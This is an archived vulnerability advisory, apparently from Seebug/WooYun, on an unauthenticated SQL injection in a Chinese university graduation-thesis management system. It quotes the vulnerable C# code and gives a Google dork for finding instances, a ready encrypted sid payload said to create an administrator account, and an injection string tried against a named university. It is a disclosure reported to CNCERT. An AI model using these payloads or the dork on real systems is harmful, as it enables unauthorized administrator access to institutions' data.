某通用型毕业论文管理系统存在SQL注射(无需登录,无视waf,无视防火墙,影响众多高校系统)

2014-11-17T00:00:00
ID SSV:95794
Type seebug
Reporter Root
Modified 2014-11-17T00:00:00

Description

简要描述:

无需账号登陆(因为可以自己任意加),无视waf(因为数据加密),秒加管理员(因为管理员权限最大)。。。。

详细说明:

前期回顾: WooYun: 某通用型毕业论文管理系统存在SQL注射(无视waf,影响众多高校) 实际上sid参数经解密直接带入了查询,但是大部分页面都是有验证,于是我找呀找,终于找到了一处 /LoginRole.aspx

1,首先看下LoginRole类,都包含了哪些函数

.........//部分源代码省略 protected void Page_Load(object sender, EventArgs e); // Properties protected global_asax ApplicationInstance { get; } protected DefaultProfile Profile { get; } }

大概看了下,global_asax ApplicationInstance、DefaultProfile Profile均没有session验证,那么会不会在page_load里面呢

2、分析下Page_load

protected void Page_Load(object sender, EventArgs e) { if (!base.IsPostBack) { DataRow dataRow = this.userclass.GetDataRow("select * from t_user where userid='" + this.userclass.getUSERuserid(base.Request.QueryString["sid"], "userid") + "'"); if (dataRow != null) { if (dataRow["iszj"].ToString() == "是") { this.ImageButton4.Visible = true; } if (dataRow["yuanzhang"].ToString() != "") { this.ImageButton1.Visible = true; } if (dataRow["mishu"].ToString() != "") { this.ImageButton2.Visible = true; } } } }

可以看出,页面不需要任何验证就可以访问,sid经过解密直接带入了数据库查询,由于sid我们可以自由构造,所有尽情的注射吧。。。 至于sid如何构造,请查看 WooYun: 某通用型毕业论文管理系统存在SQL注射(无视waf,影响众多高校) ps:这里的decrpt/encrpt函数的key值已经写死在程序里的 如若需要key值,请联系南京南京先极科技有限公司

漏洞证明:

漏洞证明如下:

1,谷歌:intitle:毕业设计(论文)智能管理系统

<img src="https://images.seebug.org/upload/201411/1420292085f47ed7d46bf0cd174e1983fc85fe86.jpg" alt="t.jpg" width="600" onerror="javascript:errimg(this);">

2,访问http://x.x.x.x/loginrole.aspx?sid=E3AA19ABFE7ACF9D6B9E9475B003C7D3F2D8AA96C0D47B2FDA61C14FAF94A5A389937FA69CFC7DBF4CD76A87DAE7B0C2CB207D24260313BDD010BCB6BB60A131A7E64AC10A01E1291B8B282F36A70BFC448A2E800F096B54B4DD021B0922305FCFB91757E0AC6F4D4B9CECD499EA28C2C7DFAF96A62E2467

该sid会添加一个wooyun1,six-door的管理员用户

3,直接登陆管理系统,你就是管理员了!!!!

以上海交大为例:

sql:18' and user&gt;0-- sid:22327B245BF2A6E7297E5114AC0E7F522FD73C1E4783D2F1

<img src="https://images.seebug.org/upload/201411/14210825591b1a546b3020af983780a8da57234e.jpg" alt="sj1.jpg" width="600" onerror="javascript:errimg(this);">

ps:由于其登陆密码进行了加密,且暂不得知加密方式,加了账号也登不上。。。。 贴出3例以供CNCERT复测,及证明其通用性

<img src="https://images.seebug.org/upload/201411/14203403c91c07fbcde6d6f0dc6951899c7b8532.jpg" alt="e1.jpg" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201411/14203819bdd52f3f7449283f15f905a27b5a2f90.jpg" alt="t2.jpg" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201411/142048077e7da7af9d46d9a6c39d2e91ead8d704.jpg" alt="t3.jpg" width="600" onerror="javascript:errimg(this);">

上述所添加账号已经删除。